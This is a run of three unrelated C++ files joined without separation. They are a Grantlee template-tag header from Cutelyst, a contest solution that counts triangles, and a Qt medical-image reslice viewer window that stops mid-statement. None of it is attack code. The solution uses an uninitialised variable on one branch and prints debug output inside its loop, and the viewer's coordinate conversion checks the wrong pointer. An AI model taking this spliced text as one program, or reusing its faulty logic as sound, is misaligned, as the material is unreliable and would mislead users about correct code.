/* * SPDX-FileCopyrightText: (C) 2017-2022 Daniel Nicoletti <dantti12@gmail.com> * SPDX-License-Identifier: BSD-3-Clause */ #ifndef URIFOR_H #define URIFOR_H #ifndef DOXYGEN_SHOULD_SKIP_THIS # include <grantlee/filter.h> # include <grantlee/node.h> # include <grantlee/safestring.h> # include <grantlee/util.h> class UriForTag final : public Grantlee::AbstractNodeFactory { Grantlee::Node *getNode(const QString &tagContent, Grantlee::Parser *p) const override; }; class UriFor final : public Grantlee::Node { Q_OBJECT public: explicit UriFor(const QString &path, const QStringList &args, Grantlee::Parser *parser = nullptr); void render(Grantlee::OutputStream *stream, Grantlee::Context *gc) const override; private: mutable QString m_cutelystContext = QStringLiteral("c"); Grantlee::FilterExpression m_path; std::vector<Grantlee::FilterExpression> m_argsExpressions; std::vector<Grantlee::FilterExpression> m_queryExpressions; }; #endif #endif // URIFOR_H
#include <bits/stdc++.h> using namespace std; const int MAX_INT = std::numeric_limits<int>::max(); const int MIN_INT = std::numeric_limits<int>::min(); const int INF = 1000000000; const int NEG_INF = -1000000000; #define max(a,b)(a>b?a:b) #define min(a,b)(a<b?a:b) #define MEM(arr,val)memset(arr,val, sizeof arr) #define PI acos(0)*2.0 #define eps 1.0e-9 #define are_equal(a,b)fabs(a-b)<eps #define LS(b)(b& (-b)) // Least significant bit #define DEG_to_RAD(a)((a*PI)/180.0) // convert to radians typedef long long ll; typedef pair<int,int> ii; typedef pair<int,char> ic; typedef pair<long,char> lc; typedef vector<int> vi; typedef vector<ii> vii; typedef pair<int, ii> iii; int gcd(int a,int b){return b == 0 ? a : gcd(b,a%b);} int lcm(int a,int b){return a*(b/gcd(a,b));} map<iii, int> visit; bool istriangle(int a, int b, int c) { if (a + b <= c || a + c <= b || b + c <= a) return false; if (abs(a - b) >= c || abs(a - c) >= b || abs(b - c) >= a) return false; return true; } int main(){ int s[3], l; cin >> s[0] >> s[1] >> s[2] >> l; ll ans = 0; int tol, tos, tor, total, dif; for (int i = 0; i < l; i++) { for (int j = 0; j < 3; j++) { total = s[(j+1)%3] + s[(j+2)%3]; dif = abs(s[(j+1)%3] - s[(j+2)%3]); if (total % 2 == 0) { tol = (i + total - s[j] - 1) / 2 - 1; } else { tol = (i + total - s[j] - 1) / 2; tos = (i + dif - s[j] - 1) / 2 + 1; } cout << tos << " " << tol << endl; // tor = total / 2 - s[(j+1)%3] - s[(j+2)%3]; if (tol >= 0 && tos >= 0) ans += (tol - tos); } } cout << ans << endl; // for (int i = 0; i <= l; i++) { // for (int j = 0; j <= l - i; j++) { // if (a + b + i < c + j) // break; // if (!istriangle(a, b+i, c+j)) // continue; // iii cur(a, ii(b+i, c+j)); // if (visit.count(cur)) // continue; //// cout << "in a : " << a << " " << b+i << " " << c+j << endl; // visit[cur] = 1; // ans += l / 3 + 1; // } // } // for (int i = 0; i <= l; i++) { // for (int j = 0; j <= l - i; j++) { // if (a + c + i < b + j) // break; // if (!istriangle(a+i, b+j, c)) // continue; // iii cur(a+i, ii(b+j, c)); // if (visit.count(cur)) // continue; //// cout << "in a : " << a+i << " " << b+j << " " << c << endl; // visit[cur] = 1; // ans += l / 3 + 1; // } // } // for (int i = 0; i <= l; i++) { // for (int j = 0; j <= l - i; j++) { // if (b + c + i < a + j) // break; // if (!istriangle(a+j, b, c+i)) // continue; // iii cur(a+j, ii(b, c+i)); // if (visit.count(cur)) // continue; //// cout << "in a : " << a+j << " " << b << " " << c+i << endl; // visit[cur] = 1; // ans += l / 3 + 1; // } // } // cout << ans << endl; return 0; }
#include "stdafx.h" #include "ImageWnd.h" #include "ui_ImageWnd.h" #include "HsImage.h" #include "HmyMprMaker.h" #include "WorkZone.h" #include "OperateMprLines.h" #include "ResliceControl.h" #include "AppConfig.h" #include "Hmy3DMath.h" extern RECT GetShowRcByImgSize(RECT rc, double ImgWidth, double ImgHeight); ImageWnd::ImageWnd(QWidget *parent): QWidget(parent) ,ui(new Ui::ImageWnd) , m_bFocused(false) , m_pImg(nullptr) , m_pQImage(nullptr) , m_pPixmap(nullptr) , m_nLeftButtonInteractionStyle(LOCTION_INTERACTION) , m_nRightButtonInteractionStyle(WINDOW_LEVEL_INTERACTION) , m_nImgWndType(ORIIMG_AXIAL) , m_pMprMaker(nullptr) , m_nImgNum(0) , m_nCurImgIndex(1) , m_bInitCorInfo(false) , m_pOperateLines(nullptr) , m_pLine1(nullptr) , m_pLine2(nullptr) , m_pResliceControl(nullptr) { ui->setupUi(this); setMouseTracking(true); } ImageWnd::~ImageWnd() { delete ui; if (m_pPixmap) delete m_pPixmap; if (m_pImg) { delete m_pImg; m_pImg = nullptr; } if (m_pQImage) { delete m_pQImage; m_pQImage = nullptr; } if (m_pMprMaker) { delete m_pMprMaker; m_pMprMaker = nullptr; } if (m_pOperateLines) { delete m_pOperateLines; m_pOperateLines = nullptr; } if (m_pLine1) { delete m_pLine1; m_pLine1 = nullptr; } if (m_pLine2) { delete m_pLine2; m_pLine2 = nullptr; } } void ImageWnd::paintEvent(QPaintEvent *event) { QPainter painter(this); QSize s = size(); if (m_pPixmap ) delete m_pPixmap; m_pPixmap = new QPixmap(size()); m_pPixmap->fill(Qt::black); painter.drawPixmap(QPoint(0, 0), *m_pPixmap); if (m_pImg != NULL) { RECT DlgRc; QRect qDlgrc = rect(); DlgRc.left = qDlgrc.left(); DlgRc.right = qDlgrc.right(); DlgRc.top = qDlgrc.top(); DlgRc.bottom = qDlgrc.bottom(); RECT ImgRc = m_pImg->GetWndRc(); if (m_pImg->Hs_IsWholeImgSized() == true) { QImage qImg; m_pImg->Hs_QtDrawImg(qImg, ImgRc); QRect rc(ImgRc.left, ImgRc.top, ImgRc.right - ImgRc.left, ImgRc.bottom - ImgRc.top); painter.drawImage(rc, qImg); } else { RECT rcCom; if (IntersectRect(&rcCom, &ImgRc, &DlgRc) == TRUE) { QImage qImg; m_pImg->Hs_QtDrawImg(qImg, rcCom); QRect rc(rcCom.left, rcCom.top, rcCom.right - rcCom.left, rcCom.bottom - rcCom.top); painter.drawImage(rc, qImg); } } ////MPR定位线 if (m_pOperateLines) { m_pOperateLines->OnMprLinesPaint(&painter); } } } void ImageWnd::resizeEvent(QResizeEvent* size) { if (m_pImg) { QSize deltaSize = size->size() - size->oldSize(); m_pImg->SetWndRc(CalDisplayRect(m_pImg)); ReSetPosCorInfoPos(deltaSize); } update(); } void ImageWnd::mousePressEvent(QMouseEvent *event) { if (IsImgEmpty() == true) return; if (event->button() == Qt::LeftButton) { switch (m_nLeftButtonInteractionStyle) { case LOCTION_INTERACTION: m_nInteractionState = IMGSTSTEM_LOCTION; break; case BROWSER_INTERACTIOM: m_PrePoint = event->pos(); m_nInteractionState = IMGSTSTEM_BROWSER; break; } if (m_pOperateLines && m_pOperateLines->IsMprLineShow()) { m_pOperateLines->OnMprLinesMousePress(event); } } else if (event->button() == Qt::RightButton) { switch (m_nRightButtonInteractionStyle) { case WINDOW_LEVEL_INTERACTION: { m_PrePoint = event->pos(); m_nInteractionState = IMGSTSTEM_WL; break; } case ZOOM_INTERACTION: { m_PrePoint = event->pos(); m_pImg->Hs_Size(NULL, 500, 0, HSIZE_RESAMPLE); RECT ImgRc = m_pImg->GetWndRc(); m_fImgRc.left = ImgRc.left; m_fImgRc.top = ImgRc.top; m_fImgRc.right = ImgRc.right; m_fImgRc.bottom = ImgRc.bottom; m_nInteractionState = IMGSTSTEM_ZOOM; break; } case PAN_INTERACTION: { RECT ImgRc = m_pImg->GetWndRc(); m_PrePoint.setX(event->pos().x() - ImgRc.left); m_PrePoint.setY(event->pos().y() - ImgRc.top); m_pImg->Hs_Size(NULL, 500, 0, HSIZE_RESAMPLE); m_nInteractionState = IMGSTSTEM_PAN; break; } } } } void ImageWnd::mouseMoveEvent(QMouseEvent *event) { if (IsImgEmpty() == true) return; QPoint pt; pt = event->pos(); bool bNeedRefresh = false; if (m_nInteractionState == IMGSTSTEM_LOCTION) { POINT ImgPt; ImgPt = this->ConvertWndToImg(m_pImg->GetWndRc(), m_pImg->m_ImgState.nCurOriPixCol, m_pImg->m_ImgState.nCurOriPixRow, pt); int nNewRow = m_pImg->m_ImgState.nCurOriPixRow; bNeedRefresh = false; } else if (m_nInteractionState == IMGSTSTEM_WL) { long w = (pt.x() - m_PrePoint.x())/2; long c = (pt.y() - m_PrePoint.y())/2; m_pImg->Hs_WinLevel(w, c, true, &m_nCurW, &m_nCurC); bNeedRefresh = true; m_PrePoint.setX(pt.x()); m_PrePoint.setY(pt.y()); } else if (m_nInteractionState == IMGSTSTEM_BROWSER) { int n = (pt.y() - m_PrePoint.y()) / 6;//6个像素换一幅图像 if (n != 0) { emit ImageIndexChange(n); m_PrePoint.setX(pt.x()); m_PrePoint.setY(pt.y()); } } else if (m_nInteractionState == IMGSTSTEM_ZOOM) { int nMvY = pt.y() - m_PrePoint.y();//只关心y值变化 double fZoom = nMvY*1.00 / (200 - 0) + 1; QRect rc = rect(); RECT rcWnd; rcWnd.top = rc.top(); rcWnd.left = rc.left(); rcWnd.bottom = rc.bottom(); rcWnd.right = rc.right(); double x = (rcWnd.left + rcWnd.right)*1.00 / 2;//窗口中心点 double y = (rcWnd.top + rcWnd.bottom)*1.00 / 2; //以x,y点为中心放大公式:ImgRc.left-x = (ImgRc.left-x)*(nMvY*1.00/100 + 1); double w = m_fImgRc.right - m_fImgRc.left; m_fImgRc.left = (m_fImgRc.left - x)*fZoom + x; m_fImgRc.right = (m_fImgRc.right - x)*fZoom + x; m_fImgRc.top = (m_fImgRc.top - y)*fZoom + y; SIZE sz = m_pImg->Hs_GetImgSize(); m_fImgRc.bottom = (m_fImgRc.right - m_fImgRc.left)*sz.cy*1.00 / sz.cx + m_fImgRc.top; //看是不是太大,或太小 double WndSize = (m_fImgRc.bottom - m_fImgRc.top)*(m_fImgRc.right - m_fImgRc.left)*1.00; double BmpSize = sz.cx*sz.cy*1.00; double v = WndSize / BmpSize; if (v > 0.01 && v < 200.00) { RECT ImgRc; ImgRc.left = min(int(m_fImgRc.left), int(m_fImgRc.right)); ImgRc.top = min(int(m_fImgRc.top), int(m_fImgRc.bottom)); ImgRc.right = max(int(m_fImgRc.left), int(m_fImgRc.right)); ImgRc.bottom = max(int(m_fImgRc.top), int(m_fImgRc.bottom)); m_pImg->SetWndRc(ImgRc); RECT rcCom;//ImgRc与rcWnd的交集 if (::IntersectRect(&rcCom, &ImgRc, &rcWnd) == TRUE) { RECT rcImg = rcCom; ConvertCoord(&rcImg.left, &rcImg.top, &rcImg.right, &rcImg.bottom, TRUE);//rcCom是用户看到的图像区域--以屏幕坐标为单位的,这是转换到m_pImg像素坐标上 m_pImg->Hs_Size(&rcImg, rcCom.right - rcCom.left, rcCom.bottom - rcCom.top, HSIZE_RESAMPLE, true); } } bNeedRefresh = true; m_PrePoint.setX(pt.x()); m_PrePoint.setY(pt.y()); } else if (m_nInteractionState == IMGSTSTEM_PAN) { RECT ImgRc = m_pImg->GetWndRc(); int w = ImgRc.right - ImgRc.left; int h = ImgRc.bottom - ImgRc.top; ImgRc.left = pt.x() - m_PrePoint.x(); ImgRc.top = pt.y() - m_PrePoint.y(); ImgRc.right = ImgRc.left + w; ImgRc.bottom = ImgRc.top + h; m_pImg->SetWndRc(ImgRc); bNeedRefresh = true; } if (m_pOperateLines && m_pOperateLines->IsMprLineShow()) { bNeedRefresh = (m_pOperateLines->OnMprLinesMouseMove(event) || bNeedRefresh); } if (bNeedRefresh == true) { update(); RefreshCornorInfoWidget(); } } void ImageWnd::mouseReleaseEvent(QMouseEvent *event) { if (event->button() == Qt::LeftButton) { switch (m_nLeftButtonInteractionStyle) { case LOCTION_INTERACTION: { this->m_nInteractionState = IMGSTSTEM_LOCTION; break; } case BROWSER_INTERACTIOM: this->m_nInteractionState = IMGSTSTEM_LOCTION; break; } if (m_pOperateLines && m_pOperateLines->IsMprLineShow()) { m_pOperateLines->OnMprLinesMouseRelease(event); } } else if (event->button() == Qt::RightButton) { switch (m_nRightButtonInteractionStyle) { case WINDOW_LEVEL_INTERACTION: this->m_nInteractionState = IMGSTSTEM_LOCTION; break; case ZOOM_INTERACTION: { this->m_nInteractionState = IMGSTSTEM_LOCTION; QRect rc = rect(); RECT rcWnd; rcWnd.left = rc.left() + 1; rcWnd.top = rc.top() + 1; rcWnd.right = rc.right() - 1; rcWnd.bottom = rc.bottom() - 1; //记下图像实际显示区域与居中显示区域的比值-----此比值用于窗口尺寸发生变化时适当缩放图像 SIZE CurOriSize = m_pImg->Hs_GetImgSize(false); RECT CenterRc = GetShowRcByImgSize(rcWnd, CurOriSize.cx, CurOriSize.cy); RECT ImgRc = m_pImg->GetWndRc(); double fZoomX = (ImgRc.right - ImgRc.left)*1.00 / (CenterRc.right - CenterRc.left); m_pImg->m_ImgState.fZoomX = fZoomX; m_pImg->SetWndRc(CalDisplayRect(m_pImg)); update(); RefreshCornorInfoWidget(); break; } case PAN_INTERACTION: { this->m_nInteractionState = IMGSTSTEM_LOCTION; QPoint pt; pt = event->pos(); RECT ImgRc = m_pImg->GetWndRc(); int w = ImgRc.right - ImgRc.left; int h = ImgRc.bottom - ImgRc.top; ImgRc.left = pt.x() - m_PrePoint.x(); ImgRc.top = pt.y() - m_PrePoint.y(); ImgRc.right = ImgRc.left + w; ImgRc.bottom = ImgRc.top + h; m_pImg->SetWndRc(ImgRc); update(); RefreshCornorInfoWidget(); break; } } } } bool ImageWnd::IsImgEmpty() { if (m_pImg == NULL) return true; return m_pImg->Hs_IsEmpty(); return true; } int ImageWnd::SetImage(CHsImage *pImg) { int nRet = Ret_Success; if (pImg) { m_pImg = pImg; if (m_pImg->Hs_IsEmpty()) { m_pImg->Hs_Reload(0); } RECT rc = CalDisplayRect(m_pImg); m_pImg->SetWndRc(rc); RefreshCornorInfoWidget(); } update(); return Ret_Success; } RECT ImageWnd::CalDisplayRect(CHsImage*pImg) { RECT DisplayRc = { 0, 0, 0, 0 }; if (pImg == NULL) return DisplayRc; RECT DlgRc; QRect qDlgrc = rect(); DlgRc.left = qDlgrc.left() + 1; DlgRc.right = qDlgrc.right() -1 ; DlgRc.top = qDlgrc.top() + 1; DlgRc.bottom = qDlgrc.bottom() - 1; SIZE ImgSize = pImg->Hs_GetImgSize(false);//获取当前图像的原始像素矩阵长宽 //1.先确定图像显示大小 RECT CenterRc = GetShowRcByImgSize(DlgRc, ImgSize.cx, ImgSize.cy); int nNewW = (LONG)((CenterRc.right - CenterRc.left) * (pImg->m_ImgState.fZoomX)); int nNewH = (LONG)((CenterRc.bottom - CenterRc.top) * (pImg->m_ImgState.fZoomX)); //2.确定图像位置 if (pImg->m_ImgState.fCenterPt.x == -100.00)//乳腺靠左 { DisplayRc.left = DlgRc.left; DisplayRc.right = DlgRc.left + nNewW; //pImg->m_ImgState.fCenterPt.x = ( (DlgRc.left + DlgRc.right)/2 - DisplayRc.left )*1.00/nNewW; DisplayRc.top = (DlgRc.top + DlgRc.bottom) / 2 - nNewH*pImg->m_ImgState.fCenterPt.y; DisplayRc.bottom = DisplayRc.top + nNewH; } else if (pImg->m_ImgState.fCenterPt.x == 100.00)//乳腺靠右 { DisplayRc.right = DlgRc.right; DisplayRc.left = DlgRc.right - nNewW; //pImg->m_ImgState.fCenterPt.x = ( (DlgRc.left + DlgRc.right)/2 - DisplayRc.left )*1.00/nNewW; DisplayRc.top = (DlgRc.top + DlgRc.bottom) / 2 - nNewH*pImg->m_ImgState.fCenterPt.y; DisplayRc.bottom = DisplayRc.top + nNewH; } else { DisplayRc.left = (DlgRc.left + DlgRc.right) / 2 - nNewW*pImg->m_ImgState.fCenterPt.x; DisplayRc.top = (DlgRc.top + DlgRc.bottom) / 2 - nNewH*pImg->m_ImgState.fCenterPt.y; DisplayRc.bottom = DisplayRc.top + nNewH; DisplayRc.right = DisplayRc.left + nNewW; } m_pImg->SetWndRc(DisplayRc);//有点绕--因为下面的ConvertCoord需要图像在窗口中的显示区域 RECT rcCom;//ImgRc与rcWnd的交集 if (::IntersectRect(&rcCom, &DisplayRc, &DlgRc) == TRUE) { RECT rcImg = rcCom; ConvertCoord(&rcImg.left, &rcImg.top, &rcImg.right, &rcImg.bottom, TRUE);//rcCom是用户看到的图像区域--以屏幕坐标为单位的,这是转换到m_pImg像素坐标上 m_pImg->Hs_Size(&rcImg, rcCom.right - rcCom.left, rcCom.bottom - rcCom.top, HSIZE_RESAMPLE, true); } return DisplayRc; } void ImageWnd::ConvertCoord(long *x1, long *y1, long *x2, long *y2, bool bFromHwdToImg) { if (IsImgEmpty()) return; RECT ImgRc = m_pImg->GetWndRc(); // AtlTrace("\r\n%d: %.2f %.2f %.2f %.2f",bFromHwdToImg,*x1, *y1, *x2, *y2); SIZE ImgSz = m_pImg->Hs_GetImgSize(false); if (bFromHwdToImg)//窗口->图像 { if (x1) *x1 = (*x1 - ImgRc.left)*ImgSz.cx / (ImgRc.right - ImgRc.left); if (x2) *x2 = (*x2 - ImgRc.left)*ImgSz.cx / (ImgRc.right - ImgRc.left); if (y1) *y1 = (*y1 - ImgRc.top)*ImgSz.cy / (ImgRc.bottom - ImgRc.top); if (y2) *y2 = (*y2 - ImgRc.top)*ImgSz.cy / (ImgRc.bottom - ImgRc.top); } else { if (x1) *x1 = (*x1)*(ImgRc.right - ImgRc.left) / ImgSz.cx + ImgRc.left; if (x2) *x2 = (*x2)*(ImgRc.right - ImgRc.left) / ImgSz.cx + ImgRc.left; if (y1) *y1 = (*y1)*(ImgRc.bottom - ImgRc.top) / ImgSz.cy + ImgRc.top; if (x2) *y2 = (*y2)*(ImgRc.bottom - ImgRc.top) / ImgSz.cy + ImgRc.top; } } void ImageWnd::SetOperate(QString operate) { if (operate.compare("Img_location") == 0) m_nLeftButtonInteractionStyle = LOCTION_INTERACTION; else if (operate.compare("Img_browser") == 0) m_nLeftButtonInteractionStyle = BROWSER_INTERACTIOM; else if (operate.compare("Img_wl") == 0) m_nRightButtonInteractionStyle = WINDOW_LEVEL_INTERACTION; else if (operate.compare("Img_zoom") == 0) m_nRightButtonInteractionStyle = ZOOM_INTERACTION; else if (operate.compare("Img_pan") == 0) m_nRightButtonInteractionStyle = PAN_INTERACTION; } POINT ImageWnd::ConvertWndToImg(RECT ImgRcOnWnd, long nImgW, long nImgH, QPoint &pt) { POINT ImgPt = { 0, 0 }; if (ImgRcOnWnd.left == ImgRcOnWnd.right || ImgRcOnWnd.top == ImgRcOnWnd.bottom) return ImgPt; double fx = nImgW*1.00 / (ImgRcOnWnd.right - ImgRcOnWnd.left); ImgPt.x = fx * (pt.x() - ImgRcOnWnd.left); double fy = nImgH*1.00 / (ImgRcOnWnd.bottom - ImgRcOnWnd.top); ImgPt.y = fy * (pt.y() - ImgRcOnWnd.top); return ImgPt; } void ImageWnd::InitImageDataPara(void ***pImgArray, vtkSmartPointer<vtkImageData> p3Ddata, vector<CHsImage*> vOriImg, HmyImageData3D *pHmyImgData) { m_p3DImgData = p3Ddata; m_vOriImg = vOriImg; m_p3DArray = pImgArray; m_pHmyImageData = pHmyImgData; } void ImageWnd::SetResliceControl(CResliceControl *pResliceContrl) { m_pResliceControl = pResliceContrl; } void ImageWnd::SetImageWndType(QString sWndName) { if (sWndName.compare("Axial_Wnd") == 0) m_nImgWndType = AXIAL_WND; else if (sWndName.compare("Coronal_Wnd") == 0) m_nImgWndType = CORONAL_WND; else m_nImgWndType = SAGITTAL_WND; } int ImageWnd::FirstCalAndShowImage() { if (m_pImg == nullptr) { m_pImg = new CHsImage; m_pImg->m_ImgInfo = m_vOriImg[0]->m_ImgInfo;//先复制源图基本信息 m_pImg->SetDs(m_vOriImg[0]->GetDs()); m_pImg->Hs_GetCornerInfo(true); m_pImg->SetBelongWnd(this); } if (m_pMprMaker == nullptr) { m_pMprMaker = new CHmyMprMaker(); m_pMprMaker->InitParaAndData(m_vOriImg, m_p3DArray, m_p3DImgData, m_nImgWndType,m_pHmyImageData); } if (m_pOperateLines == nullptr) { m_pOperateLines = new OperateMprLines(this, m_nImgWndType); if (m_pResliceControl) m_pOperateLines->SetResliceControl(m_pResliceControl); connect(m_pOperateLines, SIGNAL(MprLinesInfoChange(MprLinesInfo)), this->parent()->parent(), SLOT(OnMprLinesInfoChange(MprLinesInfo))); } if (m_pLine1 == nullptr) { m_pLine1 = new HmyLine3D(); } if (m_pLine2 == nullptr) { m_pLine2 = new HmyLine3D(); } int nExtents[6]; m_p3DImgData->GetExtent(nExtents); int nImageNum = 0; if (m_nImgWndType == AXIAL_WND) { nImageNum = nExtents[5]; } else if (m_nImgWndType == CORONAL_WND) { nImageNum = nExtents[3]; } else if (m_nImgWndType == SAGITTAL_WND) { nImageNum = nExtents[1]; } emit SendImageNum(nImageNum); return 0; } void ImageWnd::SetOrthogonalIndex(int nIndex) { int nExtents[6]; m_p3DImgData->GetExtent(nExtents); if (m_nImgWndType == AXIAL_WND) { m_pLine1->SetValue(0, Hmy3DVector(0, 0, nIndex)); m_pLine1->SetValue(1, Hmy3DVector(nExtents[1], 0, nIndex)); m_pLine2->SetValue(0, Hmy3DVector(nExtents[1], 0, nIndex)); m_pLine2->SetValue(1, Hmy3DVector(nExtents[1], nExtents[3], nIndex)); } else if (m_nImgWndType == CORONAL_WND) { m_pLine1->SetValue(0, Hmy3DVector(0, nIndex, 0)); m_pLine1->SetValue(1, Hmy3DVector(nExtents[1], nIndex, 0)); m_pLine2->SetValue(0, Hmy3DVector(nExtents[1], nIndex, 0)); m_pLine2->SetValue(1, Hmy3DVector(nExtents[1], nIndex, nExtents[5])); } else if (m_nImgWndType == SAGITTAL_WND) { m_pLine1->SetValue(0, Hmy3DVector(nIndex, nExtents[3], 0)); m_pLine1->SetValue(1, Hmy3DVector(nIndex, 0, 0)); m_pLine2->SetValue(0, Hmy3DVector(nIndex, 0, 0)); m_pLine2->SetValue(1, Hmy3DVector(nIndex, 0, nExtents[5])); } } int ImageWnd::CalcAndShowImg(QString sWndName, int nSliceNum) { if (!m_pImg->Hs_IsEmpty()) { m_pImg->Hs_FreeMem(); } m_pMprMaker->GetCutImage(m_pImg, m_pLine1, m_pLine2, 1); SetImage(m_pImg); return 0; } void ImageWnd::CalcAndShowImg() { } void ImageWnd::SetMprMode(QString sModeName) { if (m_pMprMaker == NULL) return; if (sModeName.compare("MIP") == 0) m_pMprMaker->m_nSlabMode = 0; else if (sModeName.compare("MAP") == 0) m_pMprMaker->m_nSlabMode = 1; SetImage(m_pImg); } void ImageWnd::GetLinesDirection(QPoint pt1, QPoint pt2, HmyLine3D &line) { } void ImageWnd::RefreshCornorInfoWidget() { m_pImg->Hs_GetCornerInfo(false); if (m_bInitCorInfo == false) { InitNormalCorInfo(); InitPosCorInfo(); m_bInitCorInfo = true; } else { for (int i =0; i<m_vCornorEdit.size(); i++) { if (m_vCornorEdit[i].sName == "ww") m_vCornorEdit[i].qEdit->setText(QString::number(m_pImg->m_ImgState.CurWc.x)); else if (m_vCornorEdit[i].sName == "wc") m_vCornorEdit[i].qEdit->setText(QString::number(m_pImg->m_ImgState.CurWc.y)); else if (m_vCornorEdit[i].sName == "zoomfactor") m_vCornorEdit[i].qEdit->setText(QString::number(m_pImg->m_ImgState.fZoomX,'f',2)); else if (m_vCornorEdit[i].sName == "slicethick") m_vCornorEdit[i].qEdit->setText(QString::number(m_pImg->m_fCurSliceThick, 'f', 2)); else if (m_vCornorEdit[i].sName == "imageindex") { m_vCornorEdit[i].qPreLabel->setText(QString("Index:%1").arg(m_nCurImgIndex)); m_vCornorEdit[i].qPreLabel->adjustSize(); } } RefreshPosCorInfo(); } } void ImageWnd::InitNormalCorInfo() { MODINFO modInfo = m_pImg->m_CornorInfo; QFont ft; ft.setPointSize(modInfo.nSize); ft.setFamily(modInfo.sFaceName); int nCorNum = modInfo.coInfoV.size(); for (int i = 0; i < nCorNum; i++) { CORNORINFO corInfo = modInfo.coInfoV[i]; map<int, ROWITEM> mapRow; ArrangeCorinfo(corInfo, mapRow); map <int, ROWITEM>::iterator iter; for (iter = mapRow.begin(); iter != mapRow.end(); iter++) { if (iter->second.sType.compare("Normal") == 0) { QLabel *label = new QLabel(this); label->setFont(ft); label->setAlignment(Qt::AlignLeft); label->setText(iter->second.sValue); label->adjustSize(); QRect rcLable = label->geometry(); QRect rcLocation; if (corInfo.sPos.compare("LT") == 0) rcLocation = QRect(2, 2 + rcLable.height()*(iter->first - 1), rcLable.width(), rcLable.height()); else if (corInfo.sPos.compare("RT") == 0) rcLocation = QRect(rect().right() - rcLable.width() - 2, 2 + rcLable.height()*(iter->first - 1), rcLable.width(), rcLable.height()); else if (corInfo.sPos.compare("LB") == 0) rcLocation = QRect(2, rect().bottom() - rcLable.height()*(mapRow.size() - iter->first + 1) - 2, rcLable.width(), rcLable.height()); else if (corInfo.sPos.compare("RB") == 0) rcLocation = QRect(rect().right() - rcLable.width() - 2, rect().bottom() - rcLable.height()*(mapRow.size() - iter->first + 1) - 2, rcLable.width(), rcLable.height()); label->setGeometry(rcLocation); label->show(); m_mapInfoLabel[label] = corInfo.sPos; } else { if (iter->second.sType.compare("ww/wc") == 0) { int iPos = iter->second.sValue.indexOf("/"); QString ww = iter->second.sValue.mid(3, iPos - 3).trimmed(); QString wc = iter->second.sValue.mid(iPos + 1, iter->second.sValue.length() - iPos - 1).trimmed(); //窗宽窗位前缀Label QLabel *wcLabel = new QLabel(this); wcLabel->setFont(ft); wcLabel->setAlignment(Qt::AlignLeft); wcLabel->setText("WC:"); wcLabel->adjustSize(); QRect rcWcLable = wcLabel->geometry(); rcWcLable = QRect(2, rect().bottom() - rcWcLable.height()*(mapRow.size() - iter->first + 1) - 2, rcWcLable.width(), rcWcLable.height()); wcLabel->setGeometry(rcWcLable); wcLabel->show(); m_mapInfoLabel[wcLabel] = corInfo.sPos; //创建窗宽LineEdit,为了更好地控制控件长度,先用edit得到长度 QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(ww); tLabel->adjustSize(); QRect tRC = tLabel->geometry(); QLineEdit *qWwLineEdit = new QLineEdit(this); qWwLineEdit->setObjectName("ww"); qWwLineEdit->setFont(ft); qWwLineEdit->setAlignment(Qt::AlignLeft); qWwLineEdit->setValidator(new QIntValidator(qWwLineEdit)); qWwLineEdit->setText(ww); qWwLineEdit->setGeometry(QRect(rcWcLable.right(), rect().bottom() - rcWcLable.height()*(mapRow.size() - iter->first + 1) - 2, tRC.width() + 4, tRC.height())); qWwLineEdit->show(); m_mapInfoEdit[qWwLineEdit] = corInfo.sPos; connect(qWwLineEdit, SIGNAL(textChanged(const QString &)), this, SLOT(OnEditTextChanged(const QString &))); connect(qWwLineEdit, SIGNAL(editingFinished()), this, SLOT(OnEditFinished())); QEDITITEM wwitem; wwitem.sName = "ww"; wwitem.qEdit = qWwLineEdit; //窗宽窗位分隔符Label QLabel *wcSplite = new QLabel(this); wcSplite->setFont(ft); wcSplite->setAlignment(Qt::AlignLeft); wcSplite->setText("/"); wcSplite->adjustSize(); QRect rcSplite = wcSplite->geometry(); rcSplite = QRect(qWwLineEdit->geometry().right(), rect().bottom() - rcSplite.height()*(mapRow.size() - iter->first + 1) - 2, rcSplite.width(), rcSplite.height()); wcSplite->setGeometry(rcSplite); wcSplite->show(); wwitem.qPreLabel = wcSplite; m_vCornorEdit.push_back(wwitem); m_mapInfoLabel[wcSplite] = corInfo.sPos; //创建窗位LineEdit,为了更好地控制控件长度,先用edit得到长度 tLabel->setText(wc); tLabel->adjustSize(); tRC = tLabel->geometry(); delete tLabel; QLineEdit *qWcLineEdit = new QLineEdit(this); qWcLineEdit->setObjectName("wc"); qWcLineEdit->setFont(ft); qWcLineEdit->setAlignment(Qt::AlignLeft); qWcLineEdit->setValidator(new QIntValidator(qWcLineEdit)); qWcLineEdit->setText(wc); qWcLineEdit->setGeometry(QRect(rcSplite.right() + 2, rect().bottom() - rcSplite.height()*(mapRow.size() - iter->first + 1) - 2, tRC.width() + 4, tRC.height())); qWcLineEdit->show(); m_mapInfoEdit[qWcLineEdit] = corInfo.sPos; connect(qWcLineEdit, SIGNAL(textChanged(const QString &)), this, SLOT(OnEditTextChanged(const QString &))); connect(qWcLineEdit, SIGNAL(editingFinished()), this, SLOT(OnEditFinished())); QEDITITEM wcitem; wcitem.sName = "wc"; wcitem.qEdit = qWcLineEdit; m_vCornorEdit.push_back(wcitem); } } if (iter->second.sType.compare("slicethick") == 0) { //创建层厚LineEdit,为了更好地控制控件长度,先用edit得到长度 QString sSt = QString::number(m_pImg->m_fCurSliceThick, 'f', 2); QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(sSt); tLabel->adjustSize(); QRect tRC = tLabel->geometry(); delete tLabel; QLineEdit *qStLineEdit = new QLineEdit(this); qStLineEdit->setObjectName("slicethick"); qStLineEdit->setFont(ft); qStLineEdit->setAlignment(Qt::AlignLeft); QDoubleValidator *pDoubleValidator = new QDoubleValidator(qStLineEdit); pDoubleValidator->setRange(0, 50); pDoubleValidator->setNotation(QDoubleValidator::StandardNotation); pDoubleValidator->setDecimals(2); qStLineEdit->setValidator(pDoubleValidator); qStLineEdit->setText(sSt); qStLineEdit->setGeometry(QRect(2, rect().bottom() - tRC.height()*(mapRow.size() - iter->first + 1) - 2, tRC.width() + 4, tRC.height())); qStLineEdit->show(); m_mapInfoEdit[qStLineEdit] = corInfo.sPos; QObject::connect(qStLineEdit, SIGNAL(textChanged(const QString &)), this, SLOT(OnEditTextChanged(const QString &))); QObject::connect(qStLineEdit, SIGNAL(editingFinished()), this, SLOT(OnEditFinished())); //层厚单位Label QLabel *stUnit = new QLabel(this); stUnit->setFont(ft); stUnit->setAlignment(Qt::AlignLeft); stUnit->setText("mm"); 